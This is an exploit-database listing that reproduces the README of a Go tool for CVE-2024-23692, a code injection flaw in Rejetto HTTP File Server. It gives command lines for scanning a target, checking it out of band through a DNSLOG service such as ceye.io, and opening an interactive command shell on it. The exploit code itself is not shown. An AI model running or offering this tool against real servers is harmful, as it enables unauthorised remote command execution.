Sploitus

Exploit for Code Injection in Rejetto Http File Server

CVE-2024-23692

githubexploit · 2024-06-17

Exploit Code

README19 lines
## https://sploitus.com/exploit?id=CE3B0AC3-96AC-59B0-A761-82C07F3CC4A6
## CVE-2024-23692

#### Usage: go run hfs.go -h
![1](https://github.com/BBD-YZZ/CVE-2024-23692/blob/master/img/0.PNG)

#### go run hfs.go -u http://127.0.0.1
![1](https://github.com/BBD-YZZ/CVE-2024-23692/blob/master/img/1.png)

#### go run hfs.go -u http://127.0.0.1 -dns //Default: uses ceye.io (configuration required)
#### go run hfs.go -u http://127.0.0.1 -dns -d abc.cn //Specifies the dnslog
![1](https://github.com/BBD-YZZ/CVE-2024-23692/blob/master/img/2.png)

#### go run hfs.go -u http://127.0.0.1 -cmd //Enter the command line
![1](https://github.com/BBD-YZZ/CVE-2024-23692/blob/master/img/3.PNG)

*Tips: DNSLOG detection uses ceye.io by default. To use another server, configure the configuration file in the config.ini directory.*

*Exe not packaged; you can package it yourself.*